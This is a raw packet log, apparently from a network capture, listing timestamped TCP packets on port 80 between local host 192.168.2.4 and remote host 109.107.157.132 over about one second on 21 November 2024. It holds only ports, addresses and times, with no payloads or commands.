Nov 21, 2024 22:33:48.116928101 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:48.117423058 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:48.117470980 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:48.117516041 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:48.117573023 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:48.118921995 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:48.118971109 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:48.119055986 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:48.119097948 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:48.120201111 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:48.120249033 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:48.120282888 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:48.120366096 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:48.121593952 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:48.121646881 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:48.121700048 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:48.121748924 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:48.125758886 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:48.125771999 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:48.125783920 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:48.125796080 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:48.125814915 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:48.125849962 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:48.126797915 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:48.126847982 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:48.126954079 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:48.127002954 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:48.128099918 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:48.128149986 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:48.128392935 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:48.128438950 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:48.129585981 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:48.129599094 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:48.129637957 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:48.130904913 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:48.130960941 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:48.131071091 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:48.131118059 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:48.132438898 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:48.132452011 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:48.132491112 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:48.133766890 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:48.133822918 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:48.133920908 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:48.133966923 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:48.135191917 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:48.135205030 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:48.135242939 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:48.135262012 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:48.136658907 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:48.136706114 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:48.136790037 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:48.136833906 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:48.138065100 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:48.138077974 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:48.138113022 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:48.139528990 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:48.139575958 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:48.139682055 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:48.139728069 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:48.140938044 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:48.140952110 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:48.140985966 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:48.141002893 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:48.446213007 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:48.446451902 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:48.446474075 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:48.446501017 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:48.524010897 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:48.524200916 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:48.524202108 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:48.524398088 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:48.524595976 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:48.524658918 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:48.602341890 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:48.602514982 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:48.602582932 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:48.602956057 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:48.603020906 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:48.603070974 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:48.680624008 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:48.680634975 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:48.680697918 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:48.681185007 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:48.681240082 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:48.681421041 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:48.681469917 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:48.682274103 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:48.682322979 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:48.682459116 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:48.682498932 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:48.683552027 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:48.683598042 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:48.758877039 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:48.758974075 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:48.759088039 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:48.759138107 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:48.759279013 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:48.759325981 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:48.759535074 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:48.759579897 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:48.760616064 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:48.760663033 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:48.760696888 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:48.760746002 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:48.761878967 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:48.761925936 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:48.761959076 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:48.762006044 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:48.763200998 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:48.763246059 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:48.763273001 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:48.763330936 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:48.837141991 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:48.837331057 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:48.837373972 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:48.837413073 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:48.837532997 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:48.837583065 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:48.837601900 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:48.837656021 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:48.838829994 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:48.838879108 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:48.838943005 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:48.838989019 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:48.840154886 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:48.840203047 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:48.840279102 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:48.840321064 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:48.841458082 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:48.841505051 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:48.841691971 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:48.841741085 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:48.842820883 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:48.842866898 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:48.842879057 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:48.842922926 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:48.844134092 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:48.844180107 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:48.915633917 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:48.915715933 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:48.915716887 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:48.915791035 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:48.916207075 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:48.916260004 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:48.916315079 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:48.916368008 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:48.917562962 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:48.917613983 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:48.917699099 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:48.917746067 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:48.918884039 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:48.918942928 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:48.918982983 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:48.919032097 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:48.920213938 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:48.920264959 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:48.920289993 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:48.920337915 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:48.921544075 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:48.921593904 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:48.921685934 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:48.921736002 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:48.922935009 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:48.922985077 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:48.923017979 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:48.923058033 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:48.924249887 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:48.924293041 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:48.924359083 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:48.924406052 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:48.925556898 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:48.925607920 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:48.925626993 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:48.925668001 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:48.993823051 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:48.993899107 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:48.993973970 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:48.994029045 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:48.994447947 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:48.994515896 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:48.994596958 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:48.994645119 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:48.995778084 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:48.995826006 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:48.996237040 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:48.996288061 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:48.996341944 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:48.996390104 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:48.997606039 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:48.997658014 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:48.997737885 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:48.997787952 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:48.999182940 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:48.999237061 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:48.999272108 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:48.999322891 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.000277042 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.000329018 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.000403881 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.000449896 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.001594067 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.001646042 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.001686096 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.001734018 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.002948999 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.002999067 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.003002882 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.003045082 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.004256964 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.004312038 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.004349947 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.004396915 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.005599976 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.005656004 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.005717993 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.005764961 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.007091999 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.007142067 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.007230043 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.007278919 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.008275986 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.008327007 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.008384943 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.008435011 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.009567022 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.009622097 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.072021008 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.072129011 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.072137117 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.072189093 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.072647095 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.072722912 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.072763920 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.072817087 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.073997974 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.074067116 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.074467897 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.074520111 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.074558973 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.074606895 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.075808048 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.075855970 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.075956106 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.076004982 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.077143908 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.077192068 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.077260017 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.077307940 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.078497887 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.078548908 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.078669071 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.078718901 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.079842091 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.079893112 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.079943895 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.079991102 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.081137896 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.081192017 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.081253052 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.081300974 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.082508087 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.082556963 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.082648039 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.082704067 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.083858967 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.083914995 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.084039927 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.084109068 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.085190058 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.085237026 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.085479021 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.085526943 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.086499929 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.086546898 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.086604118 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.086652994 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.087841988 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.087889910 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.087924957 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.087975025 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.089194059 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.089242935 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.089281082 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.089329004 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.150656939 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.150676012 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.150723934 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.150743961 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.151245117 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.151319027 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.151453972 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.151503086 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.152582884 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.152630091 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.152673006 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.152714968 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.153929949 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.153975964 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.154027939 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.154067993 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.155251980 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.155298948 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.155386925 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.155431986 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.156593084 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.156640053 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.156678915 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.156719923 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.157923937 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.157984972 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.158055067 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.158098936 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.159254074 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.159301996 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.159346104 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.159389973 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.160650969 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.160711050 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.160824060 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.160893917 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.161938906 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.161993980 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.162033081 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.162075043 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.163326025 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.163346052 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.163369894 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.163389921 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.164601088 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.164644957 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.164715052 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.164760113 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.165913105 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.165960073 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.166110992 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.166158915 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.167280912 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:49.167331934 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:49.167370081 CET	80	49759	109.107.157.132	192.168.2.4
